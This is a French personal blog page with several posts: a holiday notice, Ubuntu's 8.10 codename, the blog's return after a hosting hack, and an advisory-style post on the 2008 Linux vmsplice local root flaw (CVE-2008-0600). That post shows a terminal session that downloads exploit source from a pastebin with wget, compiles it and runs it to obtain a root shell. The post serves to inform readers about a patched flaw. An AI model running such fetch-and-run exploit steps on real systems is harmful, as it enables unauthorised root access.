Nicoz

Je pars demain à Samoëns pendant une semaine, je reviens donc le samedi 1er mars, en fin d’après-midi.

7 jours sans internet, et donc sans articles sur ce blog (vous avez déjà essayé de vous connecter en pleine montagne ?). Ça risque d’être génial ; il n’y a plus de neige .

Vue l’affluence record de ce blog, je me permet de ne pas désactiver les commentaires (en espérant le retrouver dans un état normal à mon retour ). Pour ceux que ça intéresse, voilà l’itinéraire.

« I’ll be back ! », comme dirait terminator…

And so I’d like to introduce you to the Intrepid Ibex, the release
which is planned for October 2008, and which is likely to have the
version number 8.10.

Dans ce mail, envoyé à 15H08 GMT à la liste de diffusion ubuntu-devel, Mark nous apprend le nom de la version qui succédera à Hardy Heron : Intrepid Ibex !

Le bouquetin intrépide sera donc la mascotte de la version 8.10, qui devrait sortir en octobre 2008.

Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d’obtenir les privilèges root en exploitant l’appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;

• Un article technique de LWN.
• Le changelog de la version 2.6.24.2.
• Avis de sécurité : Secunia - FrSirt - CVE-2008-0009 - CVE-2008-0010 - CVE-2008-0600.

Après presque trois mois d’inactivité, nicoz.olympe-network.fr est enfin de retour. Le brusque piratage du service d’hébergement olympe-network, en novembre, a été autant destructeur qu’imprévu ; je n’avais aucun moyen de vous prévenir. J’ai aussi perdu quelques articles, cependant la majorité ont été récupérés sur l’ancien blog DotClear, nic0z.123.fr (je n’ai « sélectionné » que ceux auxquels je tiens le plus). Le blog est de nouveau fonctionnel, toujours sous WordPress (on ne change pas une équipe qui gagne !), avec le même thème qu’avant (garland), dont les sidebars ont été légèrement modifiées par rapport à avant le piratage (ajout d’un nuage de tags et d’espaces entre les widgets, notamment).

J’admire aussi le courage et la force de l’équipe d’Olympe-Network, qui continue de nous proposer un hébergement de qualité accessible à tous malgré l’ignoble piratage dont le site été victimes. Il est bien rare de trouver des services comme Olympe, ouverts et chaleureux.

Toujours est-il que je suis de retour !